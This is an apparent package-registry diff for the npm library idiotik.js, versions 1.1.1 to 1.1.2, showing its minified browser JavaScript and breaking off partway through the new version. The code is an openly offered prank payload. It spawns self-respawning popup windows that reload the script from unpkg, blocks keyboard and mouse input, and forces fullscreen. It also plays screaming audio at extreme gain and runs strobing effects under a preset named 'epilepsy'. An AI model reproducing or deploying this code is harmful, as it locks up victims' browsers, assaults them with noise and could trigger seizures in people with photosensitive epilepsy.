idiotik.js 1.1.1 ā 1.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/idiotik.js +1 -1
package/package.json
CHANGED
package/src/idiotik.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
!function(e){let t=!0,n=100,o=!0,r={},i=new Set,a=null,s=[],c=[],l=!1,d=[],u=[],f=[],m=[],h=null,p="new",y=1;function w(){if(y<=1){_()}else{setTimeout(()=>{for(let e=0;e<y;e++)_()},0)}}function _(){try{const e="tab"===p?"":"width="+(300+700*Math.random()|0)+",height="+(200+500*Math.random()|0)+",toolbar=no,menubar=no,scrollbars=no,resizable=yes",n=window.open("","_blank",e);if(n){d.push(n);const e=h||"robux",o=function(){const e=document.querySelectorAll("script[src]");for(const t of e)if(t.src&&t.src.includes("idiotik"))return t.src;return"https://unpkg.com/idiotik.js/src/idiotik.js"}();n.document.write(`<!DOCTYPE html><html><head><meta charset="UTF-8"></head><body style="margin:0;background:#fff;"><script src="${o}"><\/script><script>window.addEventListener("load",function(){idiotik.start("preset:${e}");idiotik.start();});<\/script></body></html>`),n.document.close();const r=setInterval(()=>{n.closed&&(clearInterval(r),t&&w())},500);u.push(r)}}catch(e){}}function g(){return a||(a=new(window.AudioContext||window.webkitAudioContext))}function v(){return s.length?s[s.length-1]:null}function b(e,t){const n=v();n?(n[t]=n[t]||[],n[t].push(e)):("intervals"===t&&u.push(e),"timeouts"===t&&f.push(e),"htmlNodes"===t&&m.push(e))}async function x(e){const t=g(),o=await fetch(e),r=await o.arrayBuffer();return(e=>{const o=t.createBufferSource();o.buffer=e,o.loop=!0;const r=t.createGain(),i=n;r.gain.value=i<=200?i/100:Math.min(i/100,50);let a=o;if(i>200){const e=t.createBiquadFilter();e.type="lowshelf",e.frequency.value=200,e.gain.value=Math.min((i-200)/4800*40,40),a.connect(e),a=e}if(i>=450)for(const{type:e,freq:n,g:o}of[{type:"lowshelf",freq:60,g:40},{type:"peaking",freq:250,g:40},{type:"peaking",freq:500,g:40},{type:"peaking",freq:1500,g:40},{type:"peaking",freq:4e3,g:40},{type:"peaking",freq:8e3,g:40},{type:"highshelf",freq:16e3,g:40}]){const r=t.createBiquadFilter();r.type=e,r.frequency.value=n,r.gain.value=o,a.connect(r),a=r}if(i>=300){const e=t.createWaveShaper(),n=new Float32Array(256),o=Math.min((i-300)/10,400);for(let e=0;e<256;e++){const t=2*e/256-1;n[e]=(Math.PI+o)*t/(Math.PI+o*Math.abs(t))}e.curve=n,e.oversample="4x",a.connect(e),a=e}return a.connect(r),r.connect(t.destination),o.start(0),o})(await t.decodeAudioData(r))}function k(e){return"string"==typeof e&&e.startsWith("file://")?e.replace("file://",""):e}function E(e){if("function"==typeof e)return e;if("string"==typeof e){const t=e.indexOf(":"),n=-1===t?e.trim().toLowerCase():e.slice(0,t).trim().toLowerCase(),o=-1===t?"":e.slice(t+1);switch(n){case"effect":return I.effect(o);case"say":return I.say(o);case"cursor":return I.cursor(o);case"preset":return I.preset(o);case"redirect":return I.redirect(o);case"audio":return I.audio(o);case"jumpscare":return I.jumpscare(o);case"scream":return I.scream();case"freeze":return I.freeze();case"fullscreen":return I.fullscreen();case"haunt":return I.haunt();case"fakecursor":return I.fakeCursor();case"gravitywarp":return I.gravityWarp();case"noise":return I.noise(Number(o)||1);case"recursive":return function(){I.recursive(o)};case"window":return function(){I.window(o)};case"opennum":return function(){I.opennum(o)};default:return console.warn(`idiotik.start: unknown command "${n}"`),null}}return null}const C={hand:"pointer",none:"none",crosshair:"crosshair",wait:"wait",rainbow:"__rainbow__",wiggle:"__wiggle__",explode:"__explode__",ghost:"__ghost__",eyes:"__eyes__"},T={shake(){const e="__idiotik_shake__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_shake{0%,100%{transform:translate(0,0)}10%{transform:translate(-8px,8px)}20%{transform:translate(8px,-8px)}30%{transform:translate(-8px,0)}40%{transform:translate(8px,8px)}50%{transform:translate(-4px,-4px)}60%{transform:translate(4px,4px)}70%{transform:translate(-8px,8px)}80%{transform:translate(8px,-8px)}90%{transform:translate(-4px,4px)}}body{animation:__idiotik_shake 0.3s infinite}",document.head.appendChild(t)},spin(){const e="__idiotik_spin__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}body{animation:__idiotik_spin 2s linear infinite;transform-origin:center center}",document.head.appendChild(t)},glitch(){const e="__idiotik_glitch__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_glitch1{0%,100%{clip-path:inset(0 0 95% 0)}25%{clip-path:inset(30% 0 50% 0)}50%{clip-path:inset(60% 0 20% 0)}75%{clip-path:inset(10% 0 80% 0)}}@keyframes __idiotik_glitch2{0%,100%{clip-path:inset(80% 0 5% 0);transform:translate(-5px,0)}25%{clip-path:inset(20% 0 70% 0);transform:translate(5px,0)}50%{clip-path:inset(50% 0 30% 0);transform:translate(-3px,0)}75%{clip-path:inset(5% 0 90% 0);transform:translate(3px,0)}}body::before,body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:inherit;pointer-events:none;z-index:9999}body::before{animation:__idiotik_glitch1 0.4s infinite;color:red;text-shadow:2px 0 red}body::after{animation:__idiotik_glitch2 0.4s infinite;color:blue;text-shadow:-2px 0 blue}",document.head.appendChild(t)},rainbow(){const e="__idiotik_rainbow__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_rainbow{0%{background:#ff0000}15%{background:#ff8800}30%{background:#ffff00}45%{background:#00ff00}60%{background:#0000ff}75%{background:#8800ff}90%{background:#ff00ff}100%{background:#ff0000}}body{animation:__idiotik_rainbow 0.5s infinite}",document.head.appendChild(t)},invert(){const e="__idiotik_invert__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{filter:invert(1)}",document.head.appendChild(t)},matrix(){const e="__idiotik_matrix__";if(document.getElementById(e))return;const t=document.createElement("canvas");t.id=e,t.style.cssText="position:fixed;top:0;left:0;z-index:9998;pointer-events:none;width:100vw;height:100vh;opacity:0.7;",document.body.appendChild(t),b(t,"htmlNodes");const n=t.getContext("2d");t.width=window.innerWidth,t.height=window.innerHeight;const o=Math.floor(t.width/16),r=Array(o).fill(1);b(setInterval(()=>{n.fillStyle="rgba(0,0,0,0.05)",n.fillRect(0,0,t.width,t.height),n.fillStyle="#0f0",n.font="16px monospace",r.forEach((e,o)=>{const i="ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@#$%^&*()"[Math.floor(45*Math.random())];n.fillText(i,16*o,16*e),16*e>t.height&&Math.random()>.975&&(r[o]=0),r[o]++})},50),"intervals")},melt(){const e="__idiotik_melt__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_melt{0%{transform:skewY(0deg) scaleY(1)}50%{transform:skewY(5deg) scaleY(1.1)}100%{transform:skewY(-3deg) scaleY(0.9)}}body{animation:__idiotik_melt 1s ease-in-out infinite alternate;transform-origin:bottom}",document.head.appendChild(t)},vhs(){const e="__idiotik_vhs__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_vhs_scan{0%{top:-100%}100%{top:100%}}@keyframes __idiotik_vhs_track{0%,95%{transform:none}96%{transform:translate(-4px,0) skewX(-0.5deg)}97%{transform:translate(4px,0) skewX(0.5deg)}98%{transform:translate(-2px,0)}100%{transform:none}}body{animation:__idiotik_vhs_track 3s infinite}body::before{content:'';position:fixed;top:0;left:0;width:100%;height:3px;background:rgba(255,255,255,0.15);z-index:99999;pointer-events:none;animation:__idiotik_vhs_scan 4s linear infinite}body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,0.08) 2px,rgba(0,0,0,0.08) 4px);pointer-events:none;z-index:99998}",document.head.appendChild(t)},static(){const e="__idiotik_static__";if(document.getElementById(e))return;const t=document.createElement("canvas");t.id=e,t.width=256,t.height=256,t.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:9997;pointer-events:none;opacity:0.12;image-rendering:pixelated;",document.body.appendChild(t),b(t,"htmlNodes");const n=t.getContext("2d");b(setInterval(()=>{const e=n.createImageData(256,256);for(let t=0;t<e.data.length;t+=4){const n=255*Math.random()|0;e.data[t]=e.data[t+1]=e.data[t+2]=n,e.data[t+3]=255}n.putImageData(e,0,0)},40),"intervals")},zoom(){const e="__idiotik_zoom__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_zoom{0%,100%{transform:scale(1)}50%{transform:scale(1.15)}}body{animation:__idiotik_zoom 0.8s ease-in-out infinite}",document.head.appendChild(t)},blur(){const e="__idiotik_blur__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_blur{0%,100%{filter:blur(0px)}50%{filter:blur(6px)}}body{animation:__idiotik_blur 1s ease-in-out infinite}",document.head.appendChild(t)},flip(){const e="__idiotik_flip__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{transform:scaleX(-1)}",document.head.appendChild(t)},bounce(){const e="__idiotik_bounce__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_bounce{0%,100%{transform:translateY(0)}50%{transform:translateY(-30px)}}body{animation:__idiotik_bounce 0.6s ease-in-out infinite}",document.head.appendChild(t)},darkmode(){const e="__idiotik_darkmode__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{background:#000!important;color:#fff!important;filter:brightness(0.3)}",document.head.appendChild(t)},pixelate(){const e="__idiotik_pixelate__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="body{image-rendering:pixelated;filter:blur(0px) contrast(200%) brightness(50%)}",document.head.appendChild(t)}},M={classic(){I.recursive("yes"),I.startnow("effect:rainbow"),I.startnow("effect:shake"),I.start("say:YOU ARE AN IDIOT HA HA HA HA HA HA"),I.repeat("inf"),I.startnow("scream")},nuclear(){I.recursive("yes"),I.volume(5e3),I.startnow("effect:shake"),I.startnow("effect:rainbow"),I.startnow("effect:glitch"),I.startnow("effect:spin"),I.startnow("effect:matrix"),I.startnow("effect:vhs"),I.startnow("effect:static"),I.startnow("effect:zoom"),I.startnow("scream"),I.startnow("fullscreen"),I.startnow("freeze"),I.startnow("cursor:none"),I.startnow("haunt"),I.start("say:ššš YOU ARE SO COOKED ššš"),I.repeat("inf")},mild(){I.recursive("no"),I.volume(100),I.startnow("effect:shake"),I.start("say:gotcha lol"),I.repeat(5)},rickroll(){I.recursive("no"),I.startnow("redirect:https://www.youtube.com/watch?v=dQw4w9WgXcQ")},jumpscare(){I.recursive("yes"),I.volume(300),I.wait(3e3).then(()=>{I.startnow("effect:glitch"),I.startnow("jumpscare:https://upload.wikimedia.org/wikipedia/commons/thumb/a/a7/Camponotus_flavomarginatus_ant.jpg/640px-Camponotus_flavomarginatus_ant.jpg"),I.startnow("scream")})},epilepsy(){I.recursive("yes"),I.volume(450),I.startnow("effect:rainbow"),I.startnow("effect:shake"),I.startnow("effect:glitch"),I.startnow("effect:invert"),I.startnow("effect:static"),I.startnow("cursor:rainbow"),I.startnow("scream")},robux(){I.recursive("yes"),I.volume(200),I.startnow("effect:rainbow"),I.startnow("cursor:explode"),I.start("say:FREE ROBUX AT PORNHUB.COM!!!"),I.repeat("inf")},villain(){I.recursive("no"),I.volume(150),I.startnow("effect:matrix"),I.wait(2e3).then(()=>I.startnow("effect:glitch")),I.wait(4e3).then(()=>{I.volume(500),I.startnow("effect:shake"),I.startnow("scream"),I.recursive("yes"),I.start("say:did you really think you were safe šæ"),I.repeat("inf")})},melt(){I.recursive("no"),I.volume(100),I.startnow("effect:melt"),I.startnow("effect:spin"),I.wait(3e3).then(()=>{I.volume(300),I.startnow("effect:rainbow"),I.startnow("scream")})},haunted(){I.recursive("yes"),I.volume(80),I.startnow("effect:vhs"),I.startnow("effect:glitch"),I.startnow("cursor:ghost"),I.startnow("haunt"),I.wait(5e3).then(()=>{I.volume(600),I.startnow("scream"),I.startnow("effect:flip"),I.startnow("effect:shake"),I.start("say:šļø i was here the whole time šļø"),I.repeat("inf")})},gravity(){I.recursive("yes"),I.volume(200),I.startnow("gravitywarp"),I.startnow("effect:melt"),I.startnow("cursor:eyes"),I.wait(3e3).then(()=>{I.startnow("effect:rainbow"),I.startnow("scream")})}},I={start(e){if(null==e){const e=[...c];return c=[],e.forEach(e=>{try{e()}catch(e){}}),I}if("number"==typeof e){const t=e-1;if(t>=0&&t<c.length)try{c[t]()}catch(e){}else console.warn(`idiotik.start(${e}): no task at position ${e} (queue length: ${c.length})`);return I}const t=E(e);return t&&c.push(t),I},startnow(e){const t=E(e);if(t)try{t()}catch(e){}return I},click(e,t){const n=t?null:[...c];c=[];const o=e=>{if(t){const n=E(t);if(n)try{n(e)}catch(e){}}else n.forEach(t=>{try{t(e)}catch(e){}})},r=()=>{let t=[];try{t=[...document.querySelectorAll(e)]}catch(e){}if(!t.length){const n=e.toLowerCase().trim();t=[...document.querySelectorAll("button,a,input[type='button'],input[type='submit'],[role='button'],label,[onclick]")].filter(e=>e.textContent.trim().toLowerCase().includes(n)||e.value&&e.value.trim().toLowerCase().includes(n))}t.length||console.warn(`idiotik.click: no elements found for "${e}" ā will retry on DOM changes`),t.forEach(e=>{e.__idiotikClick||(e.__idiotikClick=!0,e.addEventListener("click",o),b(e,"htmlNodes"))})};"loading"!==document.readyState?r():document.addEventListener("DOMContentLoaded",r);const i=new MutationObserver(r);return i.observe(document.body||document.documentElement,{childList:!0,subtree:!0}),m._observers||(m._observers=[]),m._observers.push(i),I},repeat(e){const n=c[c.length-1];if(!n)return I;if(c.pop(),"inf"===e||e===1/0){const e=()=>{try{n()}catch(e){}t&&setTimeout(e,0)};c.push(e)}else{let t=0;const o=()=>{try{n()}catch(e){}++t<e&&setTimeout(o,100)};c.push(o)}return I},wait(e){let t;const n=new Promise(e=>{t=e});return c.push(()=>{const n=setTimeout(t,e);f.push(n)}),{then:e=>(c.push(()=>n.then(e)),I)}},script(e,t){const n={name:e,intervals:[],timeouts:[],audioSources:[],htmlNodes:[]};r[e]=n,s.push(n);try{t()}finally{s.pop()}return I},halt(e){const t=r[e];return t?((t.intervals||[]).forEach(clearInterval),(t.timeouts||[]).forEach(clearTimeout),(t.audioSources||[]).forEach(e=>{try{e.stop()}catch(e){}}),(t.htmlNodes||[]).forEach(e=>{try{e.remove()}catch(e){}}),delete r[e],I):I},nuke(){if(t=!1,l=!1,p="new",c=[],u.forEach(clearInterval),f.forEach(clearTimeout),m.forEach(e=>{try{e.remove()}catch(e){}}),u=[],f=[],m=[],Object.keys(r).forEach(e=>I.halt(e)),I.cleareffects(),document.body.style.cssText="",document.body.style.cursor="",a){try{a.close()}catch(e){}a=null}return d.forEach(e=>{try{e.close()}catch(e){}}),d=[],m._observers&&(m._observers.forEach(e=>{try{e.disconnect()}catch(e){}}),m._observers=[]),console.log("%cidiotik: nuked. RIP.","color:#ff4444;font-weight:bold;"),I},recursive(e){if(t=!0===e||"yes"===e||1===e,t){if(l)return I;l=!0,_(),window.addEventListener("beforeunload",function(e){if(t)return _(),_(),e.preventDefault(),e.returnValue="",""},{capture:!0}),window.addEventListener("unload",()=>{t&&(_(),_())},{capture:!0}),window.addEventListener("pagehide",()=>{t&&(_(),_())},{capture:!0}),document.addEventListener("visibilitychange",()=>{document.hidden&&t&&(_(),_())}),window.addEventListener("blur",()=>{t&&setTimeout(w,50)})}return I},volume:e=>(n=Math.max(0,Math.min(5e3,Number(e))),I),opennum:e=>(y=Math.max(1,parseInt(e)||1),I),popup:e=>(o=!0===e||"yes"===e||1===e,I),window:e=>(p="tab"===e?"tab":"alert"===e?"alert":"new",I),preset:e=>function(){h=e,M[e]?M[e]():console.warn(`idiotik.preset: unknown preset "${e}". try idiotik.list()`)},list(){const e=Object.keys(M);return console.log(`%cidiotik.js ā available presets (${e.length})`,"font-weight:bold;color:#ff4444;font-size:14px;"),e.forEach(e=>console.log(` %c⢠${e}`,"color:#ff4444;")),I},status:()=>(console.log("%cidiotik STATUS","color:#ff4444;font-weight:bold;font-size:14px;"),console.log(" recursive:",t),console.log(" windowMode:",p),console.log(" volume:",n),console.log(" popup:",o),console.log(" active effects:",[...i]),console.log(" queued tasks:",c.length),console.log(" active scripts:",Object.keys(r)),console.log(" spawned windows:",d.filter(e=>!e.closed).length),I),_ifResult:null,if:e=>(I._ifResult=!!e,{then:e=>(I._ifResult&&e(),{else:e=>(I._ifResult||e(),I)})}),else:e=>(I._ifResult||e(),I),random(...e){const t=e[Math.floor(Math.random()*e.length)];return"function"==typeof t&&t(),I},say:e=>function n(){if("alert"===p)alert(e),t&&setTimeout(()=>n(),0);else{const o=window.open("","_blank","tab"===p?"":"width=300,height=150,toolbar=no,menubar=no,scrollbars=no,resizable=no");o&&(o.document.write(`<html><body style="margin:0;display:flex;align-items:center;justify-content:center;height:100vh;font-family:Comic Sans MS,cursive;font-size:1.2rem;background:#fff;text-align:center;padding:1rem;">${e}</body></html>`),o.document.close(),t&&(o.onload=()=>setTimeout(n,100),setTimeout(n,100)))}},redirect:e=>function(){window.location.href=e},freeze:()=>function(){document.addEventListener("keydown",e=>e.preventDefault(),!0),document.addEventListener("mousedown",e=>e.preventDefault(),!0),document.addEventListener("contextmenu",e=>e.preventDefault(),!0)},fullscreen:()=>function e(){const n=document.documentElement;n.requestFullscreen?n.requestFullscreen():n.webkitRequestFullscreen&&n.webkitRequestFullscreen(),document.addEventListener("fullscreenchange",()=>{!document.fullscreenElement&&t&&setTimeout(e,100)})},jumpscare:(e,n)=>function o(){const r=document.createElement("div");r.style.cssText="position:fixed;top:0;left:0;width:100vw;height:100vh;z-index:99999;background:#000;display:flex;align-items:center;justify-content:center;";const i=document.createElement("img");i.src=e,i.style.cssText="max-width:100%;max-height:100%;object-fit:contain;",r.appendChild(i),document.body.appendChild(r),b(r,"htmlNodes"),n&&x(k(n));const a=v();a&&a.htmlNodes.push(r),t&&setTimeout(()=>{r.remove(),o()},1e3)},scream:()=>function e(){const o=g(),r=o.createOscillator(),i=o.createGain();r.type="sawtooth",r.frequency.value=880,r.frequency.linearRampToValueAtTime(440,o.currentTime+1),r.frequency.linearRampToValueAtTime(1760,o.currentTime+2),i.gain.value=Math.min(n/100,10),r.connect(i),i.connect(o.destination),r.start(),setTimeout(()=>r.stop(),2e3),t&&setTimeout(e,2100)},noise(e){const o=e||1;return function e(){const r=g(),i=r.sampleRate*o,a=r.createBuffer(1,i,r.sampleRate),s=a.getChannelData(0);for(let e=0;e<i;e++)s[e]=2*Math.random()-1;const c=r.createBufferSource();c.buffer=a;const l=r.createGain();l.gain.value=Math.min(n/100,5),c.connect(l),l.connect(r.destination),c.start(),c.stop(r.currentTime+o),t&&setTimeout(e,1e3*o+100)}},haunt(){const e=["šļø","i see you","leave.","you can't close this","help","HA","why","š©ø","turn around"];return function n(){const o=document.createElement("div");o.textContent=e[Math.floor(Math.random()*e.length)],o.style.cssText=`position:fixed;left:${90*Math.random()}vw;top:${90*Math.random()}vh;font-size:${16+40*Math.random()}px;color:rgba(255,0,0,${.3+.7*Math.random()});pointer-events:none;z-index:99990;font-family:serif;font-style:italic;transition:opacity 1s;text-shadow:0 0 10px red;`,document.body.appendChild(o),b(o,"htmlNodes"),setTimeout(()=>{o.style.opacity="0",setTimeout(()=>o.remove(),1e3)},1500),t&&setTimeout(n,800+1200*Math.random())}},fakeCursor:()=>function(){const e=document.createElement("div");e.textContent="š±ļø",e.style.cssText="position:fixed;font-size:20px;pointer-events:none;z-index:999999;transition:left 0.2s,top 0.2s;",document.body.appendChild(e),b(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY}),b(setInterval(()=>{e.style.left=t+15+10*Math.sin(Date.now()/200)+"px",e.style.top=n+15+10*Math.cos(Date.now()/200)+"px"},50),"intervals")},gravityWarp:()=>function e(){[...document.querySelectorAll("p,h1,h2,h3,h4,img,div,a,button,span")].filter(e=>0===e.children.length||"IMG"===e.tagName).forEach(e=>{if(e.dataset.idiotikGravity)return;e.dataset.idiotikGravity="1";const t=e.style.transform;let n=0;const o=setInterval(()=>{n+=.5;const r=parseFloat(e.dataset.gy||"0");e.dataset.gy=r+n,e.style.transform=`${t} translateY(${r}px) rotate(${.1*r}deg)`,r>1.5*window.innerHeight&&clearInterval(o)},50)}),t&&setTimeout(e,5e3)},audio(e){const n=k(e);return async function e(){const o=await x(n),r=v();r&&r.audioSources.push(o),t&&o.addEventListener?.("ended",e)}},effect:e=>function(){T[e]?(i.add(e),T[e]()):console.warn(`idiotik.effect: unknown effect "${e}"`)},cleareffects(){i.clear(),document.querySelectorAll("[id^='__idiotik_']").forEach(e=>e.remove()),document.body.style.animation="",document.body.style.filter=""},cursor:e=>function(){const t=C[e];if(t)if("__rainbow__"===t){let e=0;b(setInterval(()=>{const t=`<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><circle cx='10' cy='10' r='10' fill='hsl(${e},100%,50%)'/></svg>`;document.body.style.cursor=`url("data:image/svg+xml,${encodeURIComponent(t)}"), auto`,e=(e+10)%360},50),"intervals")}else if("__wiggle__"===t)document.addEventListener("mousemove",()=>{const e=10*Math.sin(Date.now()/100);document.body.style.cursor=`url("data:image/svg+xml,<svg xmlns='http://www.w3.org/2000/svg' width='20' height='20'><text y='16' font-size='16'>š</text></svg>") ${e} 0, auto`});else if("__explode__"===t)document.addEventListener("click",e=>{for(let t=0;t<12;t++){const n=document.createElement("div");n.textContent=["š„","āØ","ā","š„"][t%4],n.style.cssText=`position:fixed;left:${e.clientX}px;top:${e.clientY}px;font-size:20px;pointer-events:none;z-index:99999;transition:all 0.6s;`,document.body.appendChild(n),b(n,"htmlNodes");const o=t/12*2*Math.PI;setTimeout(()=>{n.style.transform=`translate(${60*Math.cos(o)}px,${60*Math.sin(o)}px)`,n.style.opacity="0"},10),setTimeout(()=>n.remove(),700)}});else if("__ghost__"===t){document.body.style.cursor="none";const e=document.createElement("div");e.textContent="š»",e.style.cssText="position:fixed;font-size:24px;pointer-events:none;z-index:999999;transition:left 0.4s ease,top 0.4s ease;",document.body.appendChild(e),b(e,"htmlNodes");let t=0,n=0;document.addEventListener("mousemove",e=>{t=e.clientX,n=e.clientY}),b(setInterval(()=>{e.style.left=t+"px",e.style.top=n+"px",e.style.opacity=(.5+.5*Math.sin(Date.now()/300)).toString()},50),"intervals")}else"__eyes__"===t?(document.body.style.cursor="none",["left:30vw","left:60vw"].forEach(e=>{const t=document.createElement("div");t.style.cssText=`position:fixed;top:50vh;${e};font-size:48px;pointer-events:none;z-index:999999;transition:transform 0.1s;`,t.textContent="šļø",document.body.appendChild(t),b(t,"htmlNodes")}),document.addEventListener("mousemove",e=>{document.querySelectorAll("[style*='šļø']").forEach(t=>{const n=t.getBoundingClientRect(),o=e.clientX-(n.left+n.width/2),r=e.clientY-(n.top+n.height/2);t.style.transform=`rotate(${Math.atan2(r,o)}rad)`})})):document.body.style.cursor=t;else document.body.style.cursor=`url(${e}), auto`}};"undefined"!=typeof module&&module.exports?module.exports=I:e.idiotik=I}("undefined"!=typeof window?window:global);
|
|
1
|
+
!function(e){let t=!0,n=100,o=!0,r={},i=new Set,a=null,s=[],c=[],l=!1,d=[],u=[],f=[],m=[],h=null,p="new",y=1,z="flash";function w(){if(z==="revolt"){A()}else if(y<=1){_()}else{setTimeout(()=>{for(let e=0;e<y;e++)_()},0)}}function A(){try{const e="tab"===p?"":"width="+(300+700*Math.random()|0)+",height="+(200+500*Math.random()|0)+",toolbar=no,menubar=no,scrollbars=no,resizable=yes",n=window.open("","_blank",e);if(n){d.push(n);const preset=h||"robux",src=function(){const e=document.querySelectorAll("script[src]");for(const t of e)if(t.src&&t.src.includes("idiotik"))return t.src;return"https://unpkg.com/idiotik.js/src/idiotik.js"}();n.document.write(`<!DOCTYPE html><html><head><meta charset="UTF-8"></head><body style="margin:0;background:#fff;"><script src="${src}"></script><script>window.addEventListener("load",function(){for(let i=0;i<${y-1};i++)window.open("","_blank","width="+(300+700*Math.random()|0)+",height="+(200+500*Math.random()|0)+",toolbar=no,menubar=no,scrollbars=no,resizable=yes");idiotik.start("preset:${preset}");idiotik.start();});</script></body></html>`),n.document.close();const r=setInterval(()=>{n.closed&&(clearInterval(r),t&&w())},500);u.push(r)}}catch(e){}}function _(){try{const e="tab"===p?"":"width="+(300+700*Math.random()|0)+",height="+(200+500*Math.random()|0)+",toolbar=no,menubar=no,scrollbars=no,resizable=yes",n=window.open("","_blank",e);if(n){d.push(n);const e=h||"robux",o=function(){const e=document.querySelectorAll("script[src]");for(const t of e)if(t.src&&t.src.includes("idiotik"))return t.src;return"https://unpkg.com/idiotik.js/src/idiotik.js"}();n.document.write(`<!DOCTYPE html><html><head><meta charset="UTF-8"></head><body style="margin:0;background:#fff;"><script src="${o}"><\/script><script>window.addEventListener("load",function(){idiotik.start("preset:${e}");idiotik.start();});<\/script></body></html>`),n.document.close();const r=setInterval(()=>{n.closed&&(clearInterval(r),t&&w())},500);u.push(r)}}catch(e){}}function g(){return a||(a=new(window.AudioContext||window.webkitAudioContext))}function v(){return s.length?s[s.length-1]:null}function b(e,t){const n=v();n?(n[t]=n[t]||[],n[t].push(e)):("intervals"===t&&u.push(e),"timeouts"===t&&f.push(e),"htmlNodes"===t&&m.push(e))}async function x(e){const t=g(),o=await fetch(e),r=await o.arrayBuffer();return(e=>{const o=t.createBufferSource();o.buffer=e,o.loop=!0;const r=t.createGain(),i=n;r.gain.value=i<=200?i/100:Math.min(i/100,50);let a=o;if(i>200){const e=t.createBiquadFilter();e.type="lowshelf",e.frequency.value=200,e.gain.value=Math.min((i-200)/4800*40,40),a.connect(e),a=e}if(i>=450)for(const{type:e,freq:n,g:o}of[{type:"lowshelf",freq:60,g:40},{type:"peaking",freq:250,g:40},{type:"peaking",freq:500,g:40},{type:"peaking",freq:1500,g:40},{type:"peaking",freq:4e3,g:40},{type:"peaking",freq:8e3,g:40},{type:"highshelf",freq:16e3,g:40}]){const r=t.createBiquadFilter();r.type=e,r.frequency.value=n,r.gain.value=o,a.connect(r),a=r}if(i>=300){const e=t.createWaveShaper(),n=new Float32Array(256),o=Math.min((i-300)/10,400);for(let e=0;e<256;e++){const t=2*e/256-1;n[e]=(Math.PI+o)*t/(Math.PI+o*Math.abs(t))}e.curve=n,e.oversample="4x",a.connect(e),a=e}return a.connect(r),r.connect(t.destination),o.start(0),o})(await t.decodeAudioData(r))}function k(e){return"string"==typeof e&&e.startsWith("file://")?e.replace("file://",""):e}function E(e){if("function"==typeof e)return e;if("string"==typeof e){const t=e.indexOf(":"),n=-1===t?e.trim().toLowerCase():e.slice(0,t).trim().toLowerCase(),o=-1===t?"":e.slice(t+1);switch(n){case"effect":return I.effect(o);case"say":return I.say(o);case"cursor":return I.cursor(o);case"preset":return I.preset(o);case"redirect":return I.redirect(o);case"audio":return I.audio(o);case"jumpscare":return I.jumpscare(o);case"scream":return I.scream();case"freeze":return I.freeze();case"fullscreen":return I.fullscreen();case"haunt":return I.haunt();case"fakecursor":return I.fakeCursor();case"gravitywarp":return I.gravityWarp();case"noise":return I.noise(Number(o)||1);case"recursive":return function(){I.recursive(o)};case"window":return function(){I.window(o)};case"opennum":return function(){I.opennum(o)};default:return console.warn(`idiotik.start: unknown command "${n}"`),null}}return null}const C={hand:"pointer",none:"none",crosshair:"crosshair",wait:"wait",rainbow:"__rainbow__",wiggle:"__wiggle__",explode:"__explode__",ghost:"__ghost__",eyes:"__eyes__"},T={shake(){const e="__idiotik_shake__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_shake{0%,100%{transform:translate(0,0)}10%{transform:translate(-8px,8px)}20%{transform:translate(8px,-8px)}30%{transform:translate(-8px,0)}40%{transform:translate(8px,8px)}50%{transform:translate(-4px,-4px)}60%{transform:translate(4px,4px)}70%{transform:translate(-8px,8px)}80%{transform:translate(8px,-8px)}90%{transform:translate(-4px,4px)}}body{animation:__idiotik_shake 0.3s infinite}",document.head.appendChild(t)},spin(){const e="__idiotik_spin__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_spin{from{transform:rotate(0deg)}to{transform:rotate(360deg)}}body{animation:__idiotik_spin 2s linear infinite;transform-origin:center center}",document.head.appendChild(t)},glitch(){const e="__idiotik_glitch__";if(document.getElementById(e))return;const t=document.createElement("style");t.id=e,t.textContent="@keyframes __idiotik_glitch1{0%,100%{clip-path:inset(0 0 95% 0)}25%{clip-path:inset(30% 0 50% 0)}50%{clip-path:inset(60% 0 20% 0)}75%{clip-path:inset(10% 0 80% 0)}}@keyframes __idiotik_glitch2{0%,100%{clip-path:inset(80% 0 5% 0);transform:translate(-5px,0)}25%{clip-path:inset(20% 0 70% 0);transform:translate(5px,0)}50%{clip-path:inset(50% 0 30% 0);transform:translate(-3px,0)}75%{clip-path:inset(5% 0 90% 0);transform:translate(3px,0)}}body::before,body::after{content:'';position:fixed;top:0;left:0;width:100%;height:100%;background:inherit;pointer-events:none;z-index:9999}body::before{animation:__idiotik_glitch1 0.4s infinite;color:red;text-shadow:2px 0 red}body::after{animation:__idiotik_glitch2 0.4s infinite;color:blue;text-shadow:-2px 0 blue}",document.head.appendChild(t)},rainbow(){const e="__idiotik_rainbow__";if(document.getElementById(e))return;const 